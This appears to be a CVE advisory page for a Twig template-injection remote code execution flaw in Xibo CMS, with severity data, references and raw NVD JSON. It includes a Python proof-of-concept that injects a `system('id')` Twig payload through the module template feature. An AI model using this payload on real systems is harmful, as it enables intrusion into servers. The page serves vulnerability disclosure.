Security Vulnerability Report
中文
CVE-2025-62369 CVSS 7.2 HIGH

CVE-2025-62369

Published: 2025-11-04 22:16:38
Last Modified: 2025-12-08 13:30:13

Description

Xibo is an open source digital signage platform with a web content management system (CMS). Versions 4.3.0 and below contain a Remote Code Execution vulnerability in the CMS Developer menu's Module Templating functionality, allowing authenticated users with "System -> Add/Edit custom modules and templates" permissions to manipulate Twig filters and execute arbitrary server-side functions as the web server user. This issue is fixed in version 4.3.1. To workaround this issue, use the 4.1 and 4.2 patch commits.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:* - VULNERABLE
Xibo CMS <= 4.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62369 PoC - Xibo CMS RCE via Twig Template Injection # Requirements: Valid admin account with 'Add/Edit custom modules and templates' permission import requests import json TARGET_URL = "http://target-xibo-cms.com" USERNAME = "admin" PASSWORD = "admin_password" def exploit(): # Step 1: Authenticate and get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Create malicious Twig template with RCE payload # This payload executes system commands via Twig's filter mechanism rce_payload = "{{ _context|filter(v=>system('id')) }}" # Step 3: Inject template through module template functionality template_data = { "name": "Malicious Module", "template": rce_payload, "type": "module" } response = session.post( f"{TARGET_URL}/api/module/template", json=template_data ) print(f"Exploit sent, response: {response.status_code}") print("Check server for command execution result") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62369", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.160", "lastModified": "2025-12-08T13:30:12.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xibo is an open source digital signage platform with a web content management system (CMS). Versions 4.3.0 and below contain a Remote Code Execution vulnerability in the CMS Developer menu's Module Templating functionality, allowing authenticated users with \"System -> Add/Edit custom modules and templates\" permissions to manipulate Twig filters and execute arbitrary server-side functions as the web server user. This issue is fixed in version 4.3.1. To workaround this issue, use the 4.1 and 4.2 patch commits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.3.1", "matchCriteriaId": "FC1FEADB-C4CE-432E-961D-2AD55843FCF2"}]}]}], "references": [{"url": "https://github.com/xibosignage/xibo-cms/commit/0f4e88396111ea027785a48dd8f5eeb14536bd71", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xibosignage/xibo-cms/commit/ecd4f9d2cea739a46756a108a839cac80f65cf10", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xibosignage/xibo-cms/releases/tag/4.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-7rmm-689c-gjgv", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://patch-diff.githubusercontent.com/raw/xibosignage/xibo-cms/pull/3128.patch", "source": "[email protected]", "tags": ["Product"]}]}}